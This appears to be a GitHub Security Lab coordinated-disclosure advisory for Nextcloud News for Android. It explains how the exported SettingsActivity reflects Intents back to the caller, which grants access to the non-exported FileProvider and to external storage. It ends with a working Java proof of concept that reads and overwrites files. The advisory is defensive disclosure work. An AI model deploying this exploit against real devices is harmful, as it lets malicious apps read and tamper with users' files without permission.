Coordinated Disclosure Timeline

Summary

The Nextcloud News for Android app has a security issue by which a malicious application installed on the same device can send it an arbitrary Intent that gets reflected back, unintentionally giving read and write access to non-exported Content Providers in Nextcloud News for Android.

Product

Nextcloud News for Android

Tested Version

0.9.9.62 (latest)

Details

Issue 1: Intent URI permission manipulation (GHSL-2021-1033)

The activity SettingsActivity is exported (since it has an intent-filter), as it can be seen in the Android Manifest:

AndroidManifest.xml:66

<activity
    android:name=".SettingsActivity"
    android:configChanges="keyboardHidden|orientation|screenSize"
    android:label="@string/title_activity_settings">
<intent-filter>
    <action android:name="de.luhmer.owncloudnewsreader.ACCOUNT_MANAGER_ENTRY" />
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

In its onStart method, this activity obtains the incoming Intent and returns it back to the calling application using setResult:

SettingsActivity.java:149

@Override
protected void onStart() {
    super.onStart();
    Intent intent = getIntent();
    intent.putExtra(
            SettingsActivity.SP_FEED_LIST_LAYOUT,
            mPrefs.getString(SettingsActivity.SP_FEED_LIST_LAYOUT, "0")
    );
    setResult(RESULT_OK,intent);
}

Because of this, any application that uses startActivityForResult to start SettingsActivity with an arbitrary Intent will receive it back.

An attacker can exploit this by including the flags FLAG_GRANT_URI_READ_PERMISSION and/or FLAG_GRANT_URI_WRITE_PERMISSION in the Intent, which once returned by Nextcloud News will provide access to any of its Content Providers that has the attribute android:grantUriPermissions="true", even if it is not exported.

Nextcloud News declares the FileProvider Content Provider in its Android Manifest:

AndroidManifest.xml:164

<provider
    android:name="androidx.core.content.FileProvider"
    android:authorities="${applicationId}.provider"
    android:exported="false"
    android:grantUriPermissions="true">
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/file_provider_paths" />
</provider>

The files it gives access to are defined in file_provider_paths:

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <external-path
        name="external_files" path="." />
</paths>

With this information, an attacker can create an Intent targeted to SettingsActivity with the appropriate flags and the data URI content://de.luhmer.owncloudnewsreader.provider/external_files/ to access the external storage using Nextcloud News as a proxy without needing to request the external storage permissions.

See the Resources section for a proof of concept exploiting this vulnerability.

Impact

This issue may lead to Privilege Escalation: a malicious application can use Nextcloud News for Android as a proxy to access the device’s external storage without needing to request the appropriate permission to do so.

In a worst-case scenario, the attacker could overwrite files that are saved in the external storage and are owned and used by Nextcloud News to alter its functionality, since it is mentioned in PRIVACY.md that the external storage is used for caching purposes:

  • android.permission.WRITE_EXTERNAL_STORAGE

Used for caching purposes / offline reading / storing podcasts

Resources

The following PoC demonstrates how a malicious application with no special permissions could read and write from the external storage in behalf of Nextcloud News exploiting the issue mentioned above:

public class IntentUriManipulationPoc extends Activity {

    public void poc() {
        Intent i = new Intent();
        i.setClassName("de.luhmer.owncloudnewsreader", "de.luhmer.owncloudnewsreader.SettingsActivity");
        i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        i.setData(Uri.parse("content://de.luhmer.owncloudnewsreader.provider/external_files/Documents/test.txt"));
        startActivityForResult(i, 5);
    }

    protected void onActivityResult(int requestCode, int  resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        try {
            OutputStream outputStream = getContentResolver().openOutputStream(data.getData());
            outputStream.write("pwned".getBytes());
            Log.w("attacker", "Written!");
            InputStream inputStream = getContentResolver().openInputStream(data.getData());
            Log.w("attacker", IOUtils.toString(inputStream, StandardCharsets.UTF_8));
        } catch (Exception e) {
            Log.e("attacker", e.toString());
        }

    }
}

CVE

Resources

Credit

This issue was discovered and reported by the CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1033 in any communication regarding this issue.